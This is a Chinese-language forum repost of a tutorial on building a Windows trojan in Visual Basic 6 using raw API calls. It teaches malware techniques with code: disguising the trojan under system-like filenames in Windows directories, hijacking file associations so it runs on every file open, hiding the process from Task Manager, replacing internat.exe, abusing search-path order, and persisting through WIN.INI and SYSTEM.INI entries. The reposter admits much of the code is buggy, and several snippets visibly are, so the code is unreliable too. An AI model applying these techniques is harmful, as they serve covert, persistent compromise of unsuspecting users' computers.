真正的VB木马，不用WINSOCK控件

 

这篇文章不是我写的,我也正在研究,里面很多代码都有错误,希望高手把代码调试完了发给我,谢了`~~~(奉劝各位学VB的朋友,不要以为用WINSOCK控件连接的两个窗口就是木马,VB木马真正的核心还是API)
一、开篇废话一箩筐
VB写的BackDoor/Trojan似乎是与尴尬同在的，不信？你去各大技术论坛发帖问问“小弟想做个木马，用什么开发好啊？”，大多数Expert级的建议都是“VC++、C++ Builder、Delphi”，唯独把VC++的同门兄弟VB拒之门外。难道VB真的就这么烂？进一步问问吧，高手们会给你列举VB的以下“好处”：
1.必须有MSVBVM60.DLL（VB6.0）、MSVBVM50.DLL（VB5.0）存在，否则VB木马就只能当花瓶了。
2.看看你用了多少个ActiveX吧——“Can't create Object,refused to run”
3.运行时例外错误，突然蹦出个窗口来告诉马场主：“嘿，我是VB写的木马，我崩溃了，啦啦啦：P”
4.超级不稳定，不知道什么时候就挂了。
5.体积庞大……
以上的确是在说实话……由于VB编写的程序有很多致命弱点，所以“聪明人”的首选当然是VC++、Delphi，但这并不能说VB就是穷途末路，记住，程序写得怎么样，看的是编写者的水平，而不是看他用什么语言！
开动你的脑筋，做最周到的考虑，尽最精细的分析，就让VB木马也疯狂一回！

二、忍住ActiveX的诱惑——纯API编程
最基本的重点！别把后门技术与一般编程混为一谈，平时写程序喜欢挂多少个ActiveX随便你，但是在这里不可以！要想VB木马能四处撒欢，就必须先把VB程序无形的束缚——ActiveX技术抛掉，否则它就如一条缰绳，把你费尽苦心“拼装”出来的木马给牢牢的拴在你家里——难道你还想为你的马驹做个InstallShield？
抛掉了ActiveX，还有什么？Windows给我们提供了强大的API（Application Programming Interface，应用程序编程接口）支持，为什么C代码这么简洁？就因为Windows环境的大部分C代码实际上是与系统API紧紧结合的，微软和第三方开发商已经提前把大量的API调用声明写入头文件（C++ Header File）了，VC程序员不必自己再写一大堆函数声明，直接用#include把相关的API声明的头文件拉进代码就可以！大家可以找个简单的C写的Exploit代码来看看头文件声明，例如：
====================================================
#include <winsock.h>
WSAStartup(MAKEWORD(1,1),&wsaData);
SockRaw=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);
====================================================

而在VB里要写一大堆：
====================================================
Declare Function WSAStartup Lib "Winsock.dll" (ByVal wVR As Integer, lpWSAD As WSADataType) As Integer
Declare Function socket Lib "Winsock.dll" (ByVal af As Integer, ByVal s_type As Integer, ByVal protocol As Integer) As Integer
Const AF_INET = 2
Const SOCK_RAW = 3
Const IPPROTO_ICMP = 1
ret = WSAStartup(&H101, wsadStartupData)
SockRaw = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)
====================================================

对比两段代码，看出什么没有？VC程序员可以用一句#include <winsock.h>就把WSAStartup、socket、AF_INET等API声明和常数定义给省略了，而VB程序员就有得苦了。难怪ActiveX可以在VB的天下横行无忌——偷懒谁不会啊？
但是我们是在做木马，要偷懒你就睡觉去吧，要想你的马驹在别人的马场里撒欢，就要对ActiveX说“NO”！我们只剩下API，好好发挥吧！

三、沟通的窗户——WinSock
首先介绍一下什么是WinSock。
WinSock是在90年代初，为了方便网络编程而由Microsoft联合几家公司共同制定的一套WINDOWS下的网络编程接口，即Windows Sockets规范，它不是一种网络协议，而是一套开放的、支持多种协议的Windows下的网络编程接口。Socket实际在计算机中提供了一个通信端口，可以通过这个端口与任何一个具有Socket接口的计算机通信。应用程序在网络上传输，接收的信息都通过这个Socket接口来实现。Socket也称为“套接字”。Windows下的大部分语言都支持WinSock，VB也不例外。
只不过，用VB+API写WinSock是件很不爽的事，太多的API调用和常数定义，一个套一个，写得头昏眼花，如果你懒得（或者没办法）写出一个完整的WinSock架构，那么我建议你去www.allapi.net下载KPD-Team做好的WinSock API Function Calls For VB再看下文。（文章附源代码）
以前看到一些介绍“VB木马制作”的文章，大言不惭的使用了Microsoft WinSock Control 6.0（MSWINSCK.OCX）来做WinSock核心部件，这样做当然可以省去许多功夫，但是别忘了这是ActiveX！那些文章唬唬菜鸟可以，要想实际应用，做梦！既然已经把代码限制在API领域里，就要自己动手。
如果你以前习惯了使用Microsoft WinSock Control 6.0来拼装网络应用程序，就要把那种简洁忘掉，否则你会很痛苦的，因为WinSock API不同于WinSock ActiveX，它们之间有很多差别：

1.WinSock ActiveX（WSAX）给程序员提供了一个很方便的接收事件DataArrival，在里面用GetData方法就能获取数据，在WinSock API（WSAP）里，这个想法只能是美好的。
2.WSAX想什么时候收发数据都可以，WSAP要求你老老实实先WSAStartup，填充sockaddr结构（sin_family、sin_port、sin_addr、sin_zero），connect后再send或者直接sendto出去，然后下面的recv马上进入戒备状态接收返回的数据，最后别忘了closesocket还有WSACleanup。
3.WSAX把WinSock架构理想化了，每个事件都能做到看似分离实际整合（DataArrival、SendProgress、Error、Close等），而在WSAP编程里，你只能无奈的看着几个对应WSAX不同事件的API挤作一团，而且只能在一个过程里做完所有工作——WSAP只给你在一个过程里处理接收、回应和操作事件。如果你习惯在WSAX里几个不同的事件里写不同作用的代码，那么在WSAP里，你会发现完成相同作用的代码基本上都被挤在一个WinSock的recv/send处理过程里，也许你会说，建立一个异步模式的接收过程，但是这样的效率仍然比WSAX低。
4.WSAP比WSAX容易崩溃，举个例子，如果你在没有对套接字进行特殊处理（例如select设置异步模式）的情况下直接让WSAP试图connect一个无法连接的服务器，你的整个程序都会被挂起，直到connect返回INVALID_SOCKET——弄不好就是永久的挂起，崩溃了；而WSAX则轻松的返回一个INVALID_SOCKET。
5.最大一个问题：WSAP的声明和调用都太复杂了！如果你对WinSock API很了解，你可以写一个和WinSock设置有关的全局类模块，配合API使用，但这些并不能很好的解决WSAP繁琐复杂的问题。有兴趣的可以研究一下我在一个外国专业编程网站搜集到的VB代码WinsockTestBench。（随文章附上）

在VB里用API写WinSock虽然很令人头痛，但是我们不得不忍受，为了制造马驹。而且，编写WinSock API会让你学到很多。
木马程序里，WinSock部分占有很重要的地位，程序操作基本上都处于WinSock传输的数据控制下，所以写木马的第一步最好先完成一个能正常进行通讯的WinSock框架，这不是坏习惯。

四、协议，端口
接下来，就要思考清楚后门的报文协议，是TCP、UDP还是ICMP？开什么端口？这些都要想清楚，否则代码写复杂的时候要改就是一项很大的工程了。大多数木马是基于TCP协议+高位端口的，UDP协议不能很好的保证传输质量而且容易被伪造，一般不推荐使用。TCP和UDP都要开端口，并不代表UDP就能更好隐蔽端口的。新型的木马采用ICMP/IP头部信息来实现传输，做到了更高的隐蔽性，因为ICMP是由系统核心处理的，而且比TCP/UDP协议的层次更低些，不需要开端口，除非对方禁止了ICMP，否则这种后门可以在防火墙眼皮底下穿行；基于IP头部的传输模式在Win9x/Me系统上应该无法实现了，这些非NT架构的系统不支持IP_HDRINCL，用户不能自己填充IP头部数据。很少人会留意这些零碎的IP数据包是否正在传递信息，不过就是不如直接TCP传输得舒服就是了，因为IP报文的头部空域很有限，并不是你想添加多少就添加多少的。用IP报文尾部发送数据？你不如直接用TCP/UDP发送好了……

五、当错误发生的时候
VB程序其实很脆弱，当一些不可预料的错误（例如溢出、文件读写失败等）发生时，它们会很委屈的弹出提示信息，设想一下你的木马在读取文件时突然遇到磁盘坏道，它就会弹出信息暴露自己了。所以，VB木马作者们必须认真对待VB的错误处理机制，为程序设置错误陷阱，做到最大的安全性。
错误陷阱必须设置在每个过程的第一行里，记住这两个常用的错误处理语句：On Error Resume Next、On Error GoTo [Flag]。

1.On Error Resume Next
它让VB程序遇到例外错误时直接执行下一句代码，例如这句代码存在风险：
Open "c:/scandisk.log" For Input As #1
这句代码本身并没有什么错误，但是它带来了产生致命错误的风险：C盘根目录下的scandisk.log文件不存在时，程序就崩溃了。如果我们给这个语句加入错误陷阱，告诉它无论遇到什么情况都别出声，就可以把风险降到最低：）
On Error Resume Next
Open "c:/scandisk." For Input As #1
'经过这样的处理，这个语句永远不会弹出错误信息：）

2.On Error GoTo [Flag]
虽然On Error Resume Next能降低风险，但是它并不是万能的，一些严重错误如溢出、死循环用On Error Resume Next只会让程序越陷越深。考虑周全一些，在一些危险代码里使用On Error GoTo [Flag]，它至少能让程序跳出挣扎的泥潭：
=========================================================
On Error GoTo ErrProcess
Set vDoc = webMain.Document
For j = 0 To vDoc.All.length - 1
Set vTag = vDoc.All(j)
If UCase(vTag.tagName) = "A" Then
tmpUser = vTag.innertext
tmpUser = Replace(tmpUser, "[所有人]", "所有人")
If InStr(tmpUser, "在线列表") <> 0 Then tmpUser = ""
If InStr(tmpUser, "本室") <> 0 Then tmpUser = ""
If tmpUser = "所有人" Then tmpUser = ""
If tmpUser <> "" Then
ConnectedUser(i) = tmpUser
i = i + 1
UserCount = UserCount + 1
Else
End If
Else
End If
Next j
Exit Sub

ErrProcess:
Exit Sub
=========================================================
在上面的代码里，由于Resume Next会让程序忽略错误，用变量的初始值去进行计算处理，因此当vDoc=Null时，vDoc.All=0，程序会在下面的Next循环里死掉，因为我们强制了程序的错误处理为“忽略错误并执行下一个语句”，要让程序跳出这个死循环，唯有设置一个Flag，让程序跳过一大堆可能会造成致命错误的语句，直接Exit Sub。
但是也不要大量的使用On Error GoTo错误陷阱，它不仅繁琐，而且让你的代码跳来跳去，非常不结构。
综上所述，On Error Resume Next和On Error GoTo [Flag]任何一方都不是万能钥匙，不要一统天下都是On Error Resume Next或On Error GoTo [Flag]，唯有根据不同情况配合使用不同错误处理语句，才能最大限度确保程序安全。

六、整齐的，才是最好的
没有人喜欢零散，写程序也一样，零散的代码让程序变得难读难修改，时间久了连你自己都不知道某个语句为什么在那里，起什么作用了；而且代码零散还会降低程序运行效率，增加不必要的重复代码，增大了程序的体积。
例如一个用于判断文件是否存在的代码：
=========================================================
Dim FileExists As Boolean
Open FileName For Input As #1
If Err = 0 Then
FileExist = True
Else
FileExist = False
End If
=========================================================

如果你要判断多个文件是否存在，就必须把上面的代码重复多次，自己累不算，程序也变得臃肿。
VB给我们提供了模块，利用模块的全局属性，我们可以把一些重复的代码写成全局函数，方便了自己也减少了程序的开销：
=========================================================
Function FileExist(FileName As String) As Boolean
On Error Resume Next '别忘了错误陷阱
Dim FileNum As Integer
FileNum = FreeFile()
Open FileName For Input As #FileNum
If Err = 0 Then
FileExist = True
Else
FileExist = False
End If
Close #FileNum
End Function
=========================================================
在全局模块里声明了这个函数（别用Private前缀声明）后，我们就可以方便的在程序任何角落用FileExists("文件名")来判断了，而且把程序代码模块化也提高了代码可读性。
所以，为了程序更好执行，请尽量把代码模块化。

附：给出几个实用的模块化代码
=========================================================
'判断文件是否存在
Function FileExist(FileName As String) As Boolean
On Error Resume Next
Dim FileNum As Integer
FileNum = FreeFile()
Open FileName For Input As #FileNum
If Err = 0 Then
FileExist = True
Else
FileExist = False
End If
Close #FileNum
End Function

'获取程序本身所在的目录（返回的字符以“/”结尾）
Function Path() As String
If Len(App.Path) <= 3 Then
Path = App.Path
Else
Path = App.Path & "/"
End If
End Function

'获取系统目录（SYSTEM）路径
Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Function SysPath() As String
SysPath = String(145, Chr(0))
SysPath = Left(SysPath, GetSystemDirectory(SysPath, 145)) & "/"
End Function

'获取Window路径（WINDOWS系统目录）
Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Function WinPath() As String
WinPath = String(145, Chr(0))
WinPath = Left(WinPath, GetWindowsDirectory(WinPath, 145)) & "/"
End Function

'字符串替换（使用方法：输出=ModifyString(欲处理的字符串,原字符,替换字符)，例如 strOut=ModifyString(strSource,"hello","你好")，表示把strSource变量里的“hello”替换为“你好”）
Public Function ModifyString(strModString As String, strSrc As String, sgnModify As Variant)
On Error Resume Next
If strSrc <> sgnModify Then
While InStr(strModString, strSrc) <> 0
strModString = Left(strModString, InStr(strModString, strSrc) - 1) & sgnModify & Mid(strModString, InStr(strModString, strSrc) + Len(strSrc))
Wend
End If
ModifyString = strModString
End Function
=========================================================


七、Win9x？Win2000？
由于Windows的两个不同架构（Win9x、WinNT），导致了环境的差异，更雪上加霜的是MS在两个架构的系统里提供了某些会引发兼容问题的API，例如RegisterServiceProcess这个用于注册系统服务的API，在9x环境里正常，在NT里则变成“找不到DLL入口”——NT架构的系统服务概念和9x不同。又如涉及网络操作的一些API，9x里休想找到它们的影子。当你的程序调用了这些无法访问的API，立即就会崩溃，而且死之前还会老实的弹出对话框暴露自己，落得个连诛九族……
当然，还有一个更重要的问题，那就是NT架构才有的NT服务（NT-Service），在下文会介绍。
因为有这些环境差异，我们不得不根据不同的环境设置不同的路标，这就需要判断系统类型了。Windows也有自知之明，给我们提供了GetVersionEx这个API。
=========================================================
Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion(1 To 128) As Byte
End Type
Public Const VER_PLATFORM_WIN32_NT = 2&
Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long

Function CheckIsNT() As Boolean
Dim OSVer As OSVERSIONINFO
OSVer.dwOSVersionInfoSize = LenB(OSVer)
GetVersionEx OSVer
CheckIsNT = OSVer.dwPlatformId = VER_PLATFORM_WIN32_NT
End Function
=========================================================
如果CheckIsNT函数返回True，那就是NT/2000/XP没错了，接下来你应该知道如何对付Windows了吧。


八、我的马儿安家在哪里？
把木马放在哪里能做到最大的隐蔽性是个难以肯定的答案，但是有一点可以直说！别自作聪明自己建立目录放木马，也别选敏感目录如Recycled、My Documents、TEMP、Local Settings、Fonts、Inf等，这些目录可以骗骗初学者，但是连中级水平的用户都能感觉到不对劲。我个人认为可以放在一些重要目录里，把文件名起得专业一点，例如WINDOWS/WINNT、SYSTEM/SYSTEM32、JAVA（最好文件名里也有个JAVA）、Config、Program Files/Common Files/SYSTEM等特殊目录，这样至少连中上水平的用户也要确认半天，当然有一半成功率还要看看你会不会起文件名，可以在Windows本身的一些重要或者不常被人注意的文件名上打主意，例如原来有个mmtask.tsk那就来个mmtask.exe、有wupdmgr.exe就发展个wupdmgr32.exe等，这些文件名起的迷惑性比一般的文件名大得多。当然你就不要起Notepad32.exe、scanregw32.exe、scandskw32.exe这种常用程序的“32bit 克隆”名字了，只要不是非典型的用户，70%都会怀疑的……

九、喧宾夺主——更改并联
Windows下的文件并联无处不在，所以这里是个很好的市场哦。目前许多常见的木马都用了这个手法，让用户在不知不觉中反复执行木马程序，导致屡杀不尽！
其实在VB里，这个功能非常容易实现：
=========================================================
'文件并联的代码
'Author：小金（LK007） www.s8s8.net [e-mail]
'使用方法：SetFileAssociate 文件类型, 类型说明, 文件后缀
'例如：SetFileAssociate "txtfile", "文本文件", ".txt"
'/////////////////////////////////////////////////////////////
Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkresult As Long) As Long
Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const REG_SZ = 1

Sub SetFileAssociate(sKeyName As String, sKeyValue As String, sFileAssoc As String)
On Error Resume Next
Dim ret As Long
Dim lphKey As Long
Dim sFileExec As String
sFileExec = App.Path & App.EXEName & ".exe " & """%1""" '注意是".exe "不是".exe"
ret = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, lphKey)
ret = RegSetValue(lphKey, "", REG_SZ, sKeyValue, 0&)
ret = RegCreateKey(HKEY_CLASSES_ROOT, sFileAssoc, lphKey)
ret = RegSetValue(lphKey, "", REG_SZ, sKeyName, 0&)
ret = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, lphKey)
ret = RegSetValue(lphKey, "DefaultIcon", REG_SZ, "%1", 2)
ret = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, lphKey)
ret = RegSetValue(lphKey, "shell/open/command", REG_SZ, sFileExec, Len(sFileExec))
ret = RegCloseKey(lphKey)
End Sub
=========================================================
注意，经过这样修改后，文件就必须由你的程序来负责处理了，我们需要在Form_Load或Main里加入下面给出的“文件打开方式重定向”代码，否则就弄巧成拙了，注意这段代码中的文件后缀判断语句。
=========================================================
'在Form_Load或Main加入 (以TXT并联为例)
On Error Resume Next
Dim CommandLine As String
CommandLine = Trim$(Command$)
If CommandLine <> "" Then
If InStr(CommandLine,".txt") <> 0 Then Shell("notepad.exe " & CommandLine
Else
End If
=========================================================
这个方法的破绽：细心的用户会注意到，被更改了并联的文件类型打开速度变慢了，这是因为VB代码的执行效率比较低，而且Shell又消耗了一些额外时间，没有优化的方法。我们只能祈祷马场主是个超级马大哈……

十、隐藏进程
在Windows中按ALT+DEL+CTRL会出现任务管理器，一切普通进程都能在里面看到，这样也会暴露我们的后门程序，因此必须给它来个障眼法。Win9x/Me提供了一个API——RegisterServiceProcess，它的作用是把一个进程提升为“系统服务”，这样的进程在任务管理器里不可见。Win2000/XP里没有提供这个API，因为两种系统架构不同，“服务”的概念也不同，在NT架构里，使用一种称为“NT-Service”的技术来区分一般进程和服务程序，在第5期有文章介绍，这里也不细说了，NT-Service部分资料请看第十一小节。
VB代码如下，它很简单，用GetCurrentProcessId获取自身进程标识后调用RegisterServiceProcess转型为系统服务：
=========================================================
Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long

Sub MakeAsService()
Dim pid As Long
pid = GetCurrentProcessId()
RegisterServiceProcess pid, 1
End Sub
=========================================================
除了注册为系统服务，还有个更简单的方法是把程序的任务标题改为系统进程的名字，如Rundll32、mmtask、Rnaapp、WinOldApp等，如果你实在够懒，可以试试看……

十一、启动模式
要想木马能随时为你服务，就必须让它自己跟随系统启动，除了木马启动禁地——开始菜单的“启动”组不在考虑范围，我们还有几个方法让它自己爬起来。

1.Windows下的启动——替换程序篇
如果你认为躲躲藏藏不如反客为主来得豪气些的话，可以用这招，把Windows自身的一些非重要而又跟随系统启动的程序换掉。
不知道为什么，Windows用于切换输入法的程序internat.exe成为了这种行为的最大受害者，那么我就用它来举例说明一下这种方法的详细操作，替换其他程序的方法也差不多。
(1).木马程序查找并杀掉internat.exe进程；
(2).用Name函数把原来的internat.exe改名，必要时用FileCopy把internat.exe改名复制到另外目录（深层目录比较好）；
(3).把自身复制到internat.exe所在的目录，名称为internat.exe；
(4).程序的初始化代码段必须加上一句Shell函数用以启动原来的internat.exe：Shell [被改名的internat.exe],vbNormalNoFocus。

2.目录遍历
Windows在目录遍历时依据从外到里的方式，如果用户未指定一个程序的路径信息，Windows会按照从系统盘根目录到系统目录的顺序寻找文件。例如在开始菜单的运行里输入msconfig，Windows在后台的操作是：
1.定位到系统盘根目录（如C:/），检查文件是否存在
2.如果在根目录没有发现文件，Windows根据环境变量信息进入系统目录查找
3.如果在系统目录里找不到，则进入更深一层的重要目录（SYSTEM目录）查找
4.如果找到文件，则执行它，查找过程结束。如果遍历Windows认得出的所有目录（由注册表的环境变量决定）仍然找不到文件，就返回“找不到文件%s”
这些步骤可以用一个循环来表达：
===================================================
For i=0 To (Environment.count-1)
If FileExists(Environment.Path(i)) Then
Found = 1
Shell(Environment.Path(i) & RunFile,vbNormalFocus)
Exit For
Else
End If
Next
If Found = 0 Then MsgBox "找不到文件" & RunFile
===================================================
其中的Environment.Path(i)可能包含这些路径信息，注意看数组序号和路径的关系：
Environment.Path(0) = "C:"
Environment.Path(1) = "C:/WINDOWS" Or "C:/WINNT"
Environment.Path(2) = "C:/WINDOWS/SYSTEM" Or "C:/WINNT/SYSTEM32"
根据Windows目录遍历的特点，我们可以把木马程序文件名改为某个默认随系统启动而且没有指明详细路径信息的程序，并把自身放在原程序所在的“上一层”目录，例如C:/WINDOWS是C:/WINDOWS/SYSTEM的上一层目录。这样，Windows就会把木马程序启动，而忽略了“深闺处”的原程序，所以我们的木马程序必须在启动时好心替Windows执行一下被忽略的原程序。
目前比较容易被忽略的程序有：inetnat.exe、 SysTray.exe、 taskmon.exe 等。
如果一个默认自启动的程序已经设置了路径信息，是否就意味着我们必须放弃？不一定，别忘了可以修改注册表，把详细路径字符串去掉。详细请看第4小节，把sApplication变量设置为不带任何路径信息的单独文件名即可。

3.Win9x/Me下的启动——INI篇
INI（配置文件）是一种特殊格式的文本文件，它主要用于保存程序的配置信息，这里就不做详细介绍了。WIN.INI和SYSTEM.INI是从Win3.1遗留下来的产物，Win9x/Me仍然比较完整的保留了，而2000/XP则有改动。
INI文件由一个或多个部分（section）组成，每个section下面存在多个关键字（Keyword）和值（Value），它们共同负责配置一个程序的环境，表现形式如下：
===================================================
[section1]
keyword1=valuel
keyword2=value2
...............

[section2]
keyword1=value1
keyword2=value2
...............
===================================================
打开WIN.INI和SYSTEM.INI，会看到最前面的开头部分有这些字符串：
===================================================
SYSTEM.INI：
[boot]
shell=Explorer.exe
system.drv=system.drv
drivers=mmsystem.dll power.drv
user.exe=user.exe

WIN.INI：
[windows]
load=
NullPort=None
DefaultQueueSize=32
===================================================

注意看[boot]的shell关键字和[windows]的load关键字，这里就是Windows的自启动程序加载的信息，也给木马留了个大门。[boot]的shell用于加载GUI外壳程序，如果这里的值被乱改了，你将看不到下次启动的桌面；[windows]的load在刚显示GUI界面的时候执行程序。所以执行程序优先顺序为：[windows]load ---> [boot]shell
而这两个关键字允许用户添加多个用空格分开的值，这是个很好利用的要处，为什么这样说呢？如果它们只支持一个值，那么我们就不能打[boot]shell的主意，因为替换掉外壳程序的加载值后，Windows就玩完了，但是，既然它支持多个值，我们就可以让Windows加载外壳的时候顺便也启动我们的后门。
例如，把木马程序MyApp.exe加入shell，正确的表达式必须是 shell=Explorer.exe MyApp.exe 而不是 shell=MyApp.exe
在VB里用下列代码完成一个完整的读写INI操作：
===================================================
'Code by www.s8s8.net LK007
'------------------------------------------------
Declare Function GetPrivateProfileInt Lib "kernel32" Alias "GetPrivateProfileIntA" (ByVal lpApplicationName As String, ByVal lpKeyName As String, ByVal nDefault As Long, ByVal lpFileName As String) As Long
Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long

Function WriteString(IniFileName As String, Section As String, key As String, Value As String) As Boolean
WriteString = False
If WritePrivateProfileString(Section, key, Value, IniFileName) = 0 Then Exit Function
WriteString = True
End Function

Function ReadString(IniFileName As String, Section As String, key As String) As String
Dim ReturnStr As String
Dim ReturnLng As Long
ReturnStr = Space(255)
ReturnLng = GetPrivateProfileString(Section, key, vbNullString, ReturnStr, 255, IniFileName)
ReadString = Trim$(Left$(ReturnStr, ReturnLng))
End Function
===================================================